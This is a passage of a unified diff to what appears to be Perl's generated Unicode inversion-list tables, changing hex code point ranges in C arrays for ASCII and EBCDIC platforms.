0x1B002, 0x1BC00, 0x1BC6B, 0x1BC70, @@ -341982,10 +38039,12 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x1BC90, 0x1BC9A, 0x1BC9D, - 0x1BCA4, + 0x1BC9F, 0x1D165, 0x1D16A, 0x1D16D, + 0x1D173, + 0x1D17B, 0x1D183, 0x1D185, 0x1D18C, @@ -342063,8 +38122,6 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x1DA76, 0x1DA84, 0x1DA85, - 0x1DA88, - 0x1DA89, 0x1DA9B, 0x1DAA0, 0x1DAA1, @@ -342153,14 +38210,6 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x1EEAA, 0x1EEAB, 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x1F676, - 0x1F679, 0x20000, 0x2A6D7, 0x2A700, @@ -342169,62 +38218,31 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x2B81E, 0x2B820, 0x2CEA2, - 0x2CEB0, - 0x2EBE1, 0x2F800, 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, 0xE0100, 0xE01F0 }; -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ - 1541, /* Number of elements */ +static const UV _Perl_IDStart_invlist[] = { /* for EBCDIC 1047 */ + 1187, /* Number of elements */ 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; + 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x5, - 0x6, - 0xB, - 0xE, - 0x15, - 0x16, - 0x25, - 0x26, - 0x40, + 0x42, 0x4A, - 0x4B, - 0x4C, - 0x4D, - 0x4E, 0x51, - 0x5B, - 0x5D, - 0x5E, - 0x60, - 0x61, + 0x5A, 0x62, 0x6A, - 0x6B, - 0x6C, - 0x6F, + 0x6D, + 0x6E, + 0x70, 0x79, - 0x7A, - 0x7B, - 0x7D, - 0x7E, - 0x7F, + 0x80, + 0x8A, + 0x8C, 0x8F, 0x91, 0x9D, @@ -342235,17 +38253,23 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0xA2, 0xAA, 0xAC, + 0xAD, + 0xAE, 0xAF, 0xBA, - 0xBC, - 0xC0, + 0xBB, + 0xC1, + 0xCA, + 0xCB, + 0xD0, + 0xD1, 0xDA, 0xDB, 0xE0, 0xE2, 0xEA, 0xEB, - 0xFA, + 0xF0, 0xFB, 0xFF, 0x100, @@ -342258,11 +38282,11 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x2ED, 0x2EE, 0x2EF, - 0x300, + 0x370, 0x375, 0x376, 0x378, - 0x37A, + 0x37B, 0x37E, 0x37F, 0x380, @@ -342278,74 +38302,72 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x3F6, 0x3F7, 0x482, - 0x483, + 0x48A, 0x530, 0x531, 0x557, 0x559, 0x55A, - 0x55D, - 0x55E, 0x561, 0x588, - 0x589, - 0x58A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, 0x5D0, 0x5EB, 0x5F0, - 0x5F4, - 0x600, - 0x606, - 0x60C, - 0x60E, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x61F, - 0x66A, - 0x66B, - 0x66D, + 0x5F3, + 0x620, + 0x64B, 0x66E, - 0x6DE, - 0x6DF, - 0x6E9, - 0x6EA, + 0x670, + 0x671, + 0x6D4, + 0x6D5, + 0x6D6, + 0x6E5, + 0x6E7, + 0x6EE, + 0x6F0, + 0x6FA, 0x6FD, 0x6FF, - 0x703, - 0x70F, - 0x74B, + 0x700, + 0x710, + 0x711, + 0x712, + 0x730, 0x74D, + 0x7A6, + 0x7B1, 0x7B2, - 0x7C0, + 0x7CA, + 0x7EB, + 0x7F4, 0x7F6, - 0x7F8, + 0x7FA, 0x7FB, 0x800, - 0x82E, + 0x816, + 0x81A, + 0x81B, + 0x824, + 0x825, + 0x828, + 0x829, 0x840, - 0x85C, - 0x860, - 0x86B, + 0x859, 0x8A0, 0x8B5, 0x8B6, 0x8BE, - 0x8D4, - 0x970, + 0x904, + 0x93A, + 0x93D, + 0x93E, + 0x950, + 0x951, + 0x958, + 0x962, 0x971, - 0x984, + 0x981, 0x985, 0x98D, 0x98F, @@ -342358,24 +38380,16 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x9B3, 0x9B6, 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, + 0x9BD, + 0x9BE, + 0x9CE, 0x9CF, - 0x9D7, - 0x9D8, 0x9DC, 0x9DE, 0x9DF, - 0x9E4, - 0x9E6, + 0x9E2, + 0x9F0, 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, 0xA05, 0xA0B, 0xA0F, @@ -342390,24 +38404,12 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0xA37, 0xA38, 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, 0xA59, 0xA5D, 0xA5E, 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, + 0xA72, + 0xA75, 0xA85, 0xA8E, 0xA8F, @@ -342420,22 +38422,14 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0xAB4, 0xAB5, 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, + 0xABD, + 0xABE, 0xAD0, 0xAD1, 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, + 0xAE2, 0xAF9, - 0xB00, - 0xB01, - 0xB04, + 0xAFA, 0xB05, 0xB0D, 0xB0F, @@ -342448,23 +38442,15 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0xB34, 0xB35, 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, + 0xB3D, + 0xB3E, 0xB5C, 0xB5E, 0xB5F, - 0xB64, - 0xB66, - 0xB70, + 0xB62, 0xB71, 0xB72, - 0xB82, + 0xB83, 0xB84, 0xB85, 0xB8B, @@ -342484,20 +38470,8 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0xBAB, 0xBAE, 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, 0xBD0, 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, 0xC05, 0xC0D, 0xC0E, @@ -342507,21 +38481,13 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0xC2A, 0xC3A, 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, + 0xC3E, 0xC58, 0xC5B, 0xC60, - 0xC64, - 0xC66, - 0xC70, + 0xC62, 0xC80, - 0xC84, + 0xC81, 0xC85, 0xC8D, 0xC8E, @@ -342532,44 +38498,30 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0xCB4, 0xCB5, 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, + 0xCBD, + 0xCBE, 0xCDE, 0xCDF, 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, + 0xCE2, 0xCF1, 0xCF3, - 0xD00, - 0xD04, 0xD05, 0xD0D, 0xD0E, 0xD11, 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, + 0xD3B, + 0xD3D, + 0xD3E, + 0xD4E, 0xD4F, 0xD54, - 0xD58, + 0xD57, 0xD5F, - 0xD64, - 0xD66, - 0xD70, + 0xD62, 0xD7A, 0xD80, - 0xD82, - 0xD84, 0xD85, 0xD97, 0xD9A, @@ -342580,24 +38532,12 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0xDBE, 0xDC0, 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, 0xE01, - 0xE3B, + 0xE31, + 0xE32, + 0xE33, 0xE40, - 0xE4F, - 0xE50, - 0xE5A, + 0xE47, 0xE81, 0xE83, 0xE84, @@ -342621,45 +38561,43 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0xEAA, 0xEAC, 0xEAD, - 0xEBA, - 0xEBB, + 0xEB1, + 0xEB2, + 0xEB3, + 0xEBD, 0xEBE, 0xEC0, 0xEC5, 0xEC6, 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, 0xEDC, 0xEE0, 0xF00, 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, + 0xF40, 0xF48, 0xF49, 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, + 0xF88, + 0xF8D, 0x1000, - 0x104C, + 0x102B, + 0x103F, + 0x1040, 0x1050, - 0x109E, + 0x1056, + 0x105A, + 0x105E, + 0x1061, + 0x1062, + 0x1065, + 0x1067, + 0x106E, + 0x1071, + 0x1075, + 0x1082, + 0x108E, + 0x108F, 0x10A0, 0x10C6, 0x10C7, @@ -342700,12 +38638,6 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1316, 0x1318, 0x135B, - 0x135D, - 0x1360, - 0x1362, - 0x1363, - 0x1367, - 0x1369, 0x1380, 0x1390, 0x13A0, @@ -342714,8 +38646,10 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x13FE, 0x1401, 0x166D, - 0x166E, - 0x169D, + 0x166F, + 0x1680, + 0x1681, + 0x169B, 0x16A0, 0x16EB, 0x16EE, @@ -342723,46 +38657,32 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1700, 0x170D, 0x170E, - 0x1715, + 0x1712, 0x1720, - 0x1737, + 0x1732, 0x1740, - 0x1754, + 0x1752, 0x1760, 0x176D, 0x176E, 0x1771, - 0x1772, - 0x1774, 0x1780, - 0x17D4, + 0x17B4, 0x17D7, 0x17D8, 0x17DC, - 0x17DE, - 0x17E0, - 0x17EA, - 0x1802, - 0x1804, - 0x1808, - 0x180A, - 0x180B, - 0x180F, - 0x1810, - 0x181A, + 0x17DD, 0x1820, 0x1878, 0x1880, + 0x18A9, + 0x18AA, 0x18AB, 0x18B0, 0x18F6, 0x1900, 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1944, + 0x1950, 0x196E, 0x1970, 0x1975, @@ -342770,47 +38690,39 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x19AC, 0x19B0, 0x19CA, - 0x19D0, - 0x19DA, 0x1A00, - 0x1A1C, + 0x1A17, 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, + 0x1A55, 0x1AA7, - 0x1AAC, - 0x1AB0, - 0x1ABF, - 0x1B00, + 0x1AA8, + 0x1B05, + 0x1B34, + 0x1B45, 0x1B4C, - 0x1B50, - 0x1B5C, - 0x1B5E, - 0x1B60, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1BF4, + 0x1B83, + 0x1BA1, + 0x1BAE, + 0x1BB0, + 0x1BBA, + 0x1BE6, 0x1C00, - 0x1C38, - 0x1C3B, - 0x1C3D, - 0x1C40, - 0x1C4A, + 0x1C24, 0x1C4D, + 0x1C50, + 0x1C5A, + 0x1C7E, + 0x1C80, 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CFA, + 0x1CE9, + 0x1CED, + 0x1CEE, + 0x1CF2, + 0x1CF5, + 0x1CF7, 0x1D00, - 0x1DFA, - 0x1DFB, + 0x1DC0, + 0x1E00, 0x1F16, 0x1F18, 0x1F1E, @@ -342848,36 +38760,12 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1FF5, 0x1FF6, 0x1FFD, - 0x2000, - 0x2010, - 0x2013, - 0x2015, - 0x2018, - 0x2020, - 0x2024, - 0x2025, - 0x2028, - 0x2030, - 0x2039, - 0x203B, - 0x203C, - 0x203E, - 0x2045, - 0x204A, - 0x205F, - 0x2065, - 0x2066, - 0x2070, 0x2071, 0x2072, - 0x207D, + 0x207F, 0x2080, - 0x208D, - 0x208F, 0x2090, 0x209D, - 0x20D0, - 0x20F1, 0x2102, 0x2103, 0x2107, @@ -342906,26 +38794,6 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x214F, 0x2160, 0x2189, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x24B6, - 0x24EA, - 0x275B, - 0x2761, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, 0x2C00, 0x2C2F, 0x2C30, @@ -342933,6 +38801,8 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x2C60, 0x2CE5, 0x2CEB, + 0x2CEF, + 0x2CF2, 0x2CF4, 0x2D00, 0x2D26, @@ -342944,7 +38814,7 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x2D68, 0x2D6F, 0x2D70, - 0x2D7F, + 0x2D80, 0x2D97, 0x2DA0, 0x2DA7, @@ -342962,36 +38832,16 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x2DD7, 0x2DD8, 0x2DDF, - 0x2DE0, - 0x2E0E, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2A, - 0x2E2E, - 0x2E30, - 0x2E3C, - 0x2E3D, - 0x2E42, - 0x2E43, - 0x3000, - 0x3003, 0x3005, - 0x3012, - 0x3014, - 0x301C, - 0x301D, - 0x3020, + 0x3008, 0x3021, - 0x3030, + 0x302A, 0x3031, 0x3036, 0x3038, 0x303D, 0x3041, 0x3097, - 0x3099, - 0x309B, 0x309D, 0x30A0, 0x30A1, @@ -342999,7 +38849,7 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x30FC, 0x3100, 0x3105, - 0x312F, + 0x312E, 0x3131, 0x318F, 0x31A0, @@ -343009,25 +38859,23 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x3400, 0x4DB6, 0x4E00, - 0x9FEB, + 0x9FD6, 0xA000, 0xA48D, 0xA4D0, 0xA4FE, - 0xA4FF, + 0xA500, 0xA60D, - 0xA60E, + 0xA610, + 0xA620, + 0xA62A, 0xA62C, 0xA640, - 0xA673, - 0xA674, - 0xA67E, + 0xA66F, 0xA67F, - 0xA6F2, - 0xA6F3, - 0xA6F4, - 0xA6F7, - 0xA6F8, + 0xA69E, + 0xA6A0, + 0xA6F0, 0xA717, 0xA720, 0xA722, @@ -343037,49 +38885,67 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0xA7B0, 0xA7B8, 0xA7F7, - 0xA828, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, + 0xA823, 0xA840, 0xA874, - 0xA876, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, + 0xA882, + 0xA8B4, + 0xA8F2, 0xA8F8, 0xA8FB, 0xA8FC, 0xA8FD, 0xA8FE, - 0xA900, - 0xA92E, - 0xA92F, - 0xA954, + 0xA90A, + 0xA926, + 0xA930, + 0xA947, 0xA960, 0xA97D, - 0xA980, - 0xA9C1, - 0xA9C8, - 0xA9CA, + 0xA984, + 0xA9B3, 0xA9CF, - 0xA9DA, + 0xA9D0, 0xA9E0, + 0xA9E5, + 0xA9E6, + 0xA9F0, + 0xA9FA, 0xA9FF, 0xAA00, - 0xAA37, + 0xAA29, 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5D, + 0xAA43, + 0xAA44, + 0xAA4C, + 0xAA60, 0xAA77, 0xAA7A, + 0xAA7B, + 0xAA7E, + 0xAAB0, + 0xAAB1, + 0xAAB2, + 0xAAB5, + 0xAAB7, + 0xAAB9, + 0xAABE, + 0xAAC0, + 0xAAC1, + 0xAAC2, 0xAAC3, 0xAADB, 0xAADE, 0xAAE0, - 0xAAF7, + 0xAAEB, + 0xAAF2, + 0xAAF5, 0xAB01, 0xAB07, 0xAB09, @@ -343095,9 +38961,7 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0xAB5C, 0xAB66, 0xAB70, - 0xABEE, - 0xABF0, - 0xABFA, + 0xABE3, 0xAC00, 0xD7A4, 0xD7B0, @@ -343113,6 +38977,8 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0xFB13, 0xFB18, 0xFB1D, + 0xFB1E, + 0xFB1F, 0xFB29, 0xFB2A, 0xFB37, @@ -343127,60 +38993,36 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0xFB46, 0xFBB2, 0xFBD3, - 0xFD40, + 0xFC5E, + 0xFC64, + 0xFD3E, 0xFD50, 0xFD90, 0xFD92, 0xFDC8, 0xFDF0, - 0xFDFC, - 0xFE00, - 0xFE12, - 0xFE13, - 0xFE14, - 0xFE17, - 0xFE19, - 0xFE20, - 0xFE30, - 0xFE31, - 0xFE33, - 0xFE35, - 0xFE45, - 0xFE47, - 0xFE49, - 0xFE50, - 0xFE53, - 0xFE55, - 0xFE5F, - 0xFE63, - 0xFE64, - 0xFE70, - 0xFE75, - 0xFE76, + 0xFDFA, + 0xFE71, + 0xFE72, + 0xFE73, + 0xFE74, + 0xFE77, + 0xFE78, + 0xFE79, + 0xFE7A, + 0xFE7B, + 0xFE7C, + 0xFE7D, + 0xFE7E, + 0xFE7F, 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF02, - 0xFF08, - 0xFF0A, - 0xFF0C, - 0xFF0F, - 0xFF1A, - 0xFF1B, - 0xFF1F, - 0xFF20, 0xFF21, - 0xFF3C, - 0xFF3D, - 0xFF3E, + 0xFF3B, 0xFF41, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF65, + 0xFF5B, 0xFF66, + 0xFF9E, + 0xFFA0, 0xFFBF, 0xFFC2, 0xFFC8, @@ -343190,8 +39032,6 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0xFFD8, 0xFFDA, 0xFFDD, - 0xFFF9, - 0xFFFC, 0x10000, 0x1000C, 0x1000D, @@ -343208,20 +39048,16 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x100FB, 0x10140, 0x10175, - 0x101FD, - 0x101FE, 0x10280, 0x1029D, 0x102A0, 0x102D1, - 0x102E0, - 0x102E1, 0x10300, 0x10320, - 0x1032D, + 0x10330, 0x1034B, 0x10350, - 0x1037B, + 0x10376, 0x10380, 0x1039E, 0x103A0, @@ -343232,8 +39068,6 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x103D6, 0x10400, 0x1049E, - 0x104A0, - 0x104AA, 0x104B0, 0x104D4, 0x104D8, @@ -343277,21 +39111,13 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x109BE, 0x109C0, 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, + 0x10A01, + 0x10A10, 0x10A14, 0x10A15, 0x10A18, 0x10A19, 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A56, - 0x10A58, 0x10A60, 0x10A7D, 0x10A80, @@ -343299,7 +39125,7 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x10AC0, 0x10AC8, 0x10AC9, - 0x10AE7, + 0x10AE5, 0x10B00, 0x10B36, 0x10B40, @@ -343314,46 +39140,30 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x10CB3, 0x10CC0, 0x10CF3, - 0x11000, - 0x11049, - 0x11066, - 0x11070, - 0x1107F, - 0x110BB, - 0x110BD, - 0x110C2, + 0x11003, + 0x11038, + 0x11083, + 0x110B0, 0x110D0, 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11140, - 0x11141, - 0x11144, + 0x11103, + 0x11127, 0x11150, - 0x11174, + 0x11173, 0x11176, 0x11177, - 0x11180, - 0x111C7, - 0x111CA, - 0x111CE, - 0x111D0, + 0x11183, + 0x111B3, + 0x111C1, + 0x111C5, + 0x111DA, 0x111DB, 0x111DC, 0x111DD, - 0x111DE, - 0x111E0, 0x11200, 0x11212, 0x11213, - 0x1123A, - 0x1123B, - 0x1123D, - 0x1123E, - 0x1123F, + 0x1122C, 0x11280, 0x11287, 0x11288, @@ -343363,13 +39173,9 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1128F, 0x1129E, 0x1129F, - 0x112AA, + 0x112A9, 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, + 0x112DF, 0x11305, 0x1130D, 0x1130F, @@ -343382,104 +39188,48 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x11334, 0x11335, 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, + 0x1133D, + 0x1133E, 0x11350, 0x11351, - 0x11357, - 0x11358, 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, + 0x11362, 0x11400, - 0x1144D, - 0x11450, - 0x1145A, + 0x11435, + 0x11447, + 0x1144B, 0x11480, + 0x114B0, + 0x114C4, 0x114C6, 0x114C7, 0x114C8, - 0x114D0, - 0x114DA, 0x11580, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115C2, - 0x115C4, - 0x115C9, - 0x115DE, + 0x115AF, + 0x115D8, + 0x115DC, 0x11600, - 0x11643, + 0x11630, 0x11644, 0x11645, - 0x11650, - 0x1165A, 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, + 0x116AB, 0x11700, 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x1173C, - 0x1173F, 0x118A0, - 0x118EA, + 0x118E0, 0x118FF, 0x11900, - 0x11A00, - 0x11A3F, - 0x11A42, - 0x11A44, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11A9B, - 0x11A9D, 0x11AC0, 0x11AF9, 0x11C00, 0x11C09, 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C43, - 0x11C50, - 0x11C5A, + 0x11C2F, + 0x11C40, + 0x11C41, 0x11C72, 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, 0x12000, 0x1239A, 0x12400, @@ -343494,20 +39244,12 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x16A39, 0x16A40, 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, 0x16AD0, 0x16AEE, - 0x16AF0, - 0x16AF6, 0x16B00, - 0x16B39, + 0x16B30, 0x16B40, - 0x16B45, - 0x16B50, - 0x16B5A, + 0x16B44, 0x16B63, 0x16B78, 0x16B7D, @@ -343515,19 +39257,17 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x16F00, 0x16F45, 0x16F50, - 0x16F7F, - 0x16F8F, + 0x16F51, + 0x16F93, 0x16FA0, 0x16FE0, - 0x16FE2, + 0x16FE1, 0x17000, 0x187ED, 0x18800, 0x18AF3, 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, + 0x1B002, 0x1BC00, 0x1BC6B, 0x1BC70, @@ -343536,18 +39276,6 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1BC89, 0x1BC90, 0x1BC9A, - 0x1BC9D, - 0x1BCA4, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, 0x1D400, 0x1D455, 0x1D456, @@ -343608,354 +39336,10 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 037 */ 0x1D7C3, 0x1D7C4, 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA88, - 0x1DA89, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, 0x1E800, 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x1F676, - 0x1F679, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_SC_invlist[] = { /* for ASCII/Latin1 */ - 35, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x24, - 0x25, - 0xA2, - 0xA6, - 0x58F, - 0x590, - 0x60B, - 0x60C, - 0x9F2, - 0x9F4, - 0x9FB, - 0x9FC, - 0xAF1, - 0xAF2, - 0xBF9, - 0xBFA, - 0xE3F, - 0xE40, - 0x17DB, - 0x17DC, - 0x20A0, - 0x20C0, - 0xA838, - 0xA839, - 0xFDFC, - 0xFDFD, - 0xFE69, - 0xFE6A, - 0xFF04, - 0xFF05, - 0xFFE0, - 0xFFE2, - 0xFFE5, - 0xFFE7 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SC_invlist[] = { /* for EBCDIC 1047 */ - 39, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4A, - 0x4B, - 0x5B, - 0x5C, - 0x9F, - 0xA0, - 0xB1, - 0xB3, - 0x58F, - 0x590, - 0x60B, - 0x60C, - 0x9F2, - 0x9F4, - 0x9FB, - 0x9FC, - 0xAF1, - 0xAF2, - 0xBF9, - 0xBFA, - 0xE3F, - 0xE40, - 0x17DB, - 0x17DC, - 0x20A0, - 0x20C0, - 0xA838, - 0xA839, - 0xFDFC, - 0xFDFD, - 0xFE69, - 0xFE6A, - 0xFF04, - 0xFF05, - 0xFFE0, - 0xFFE2, - 0xFFE5, - 0xFFE7 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 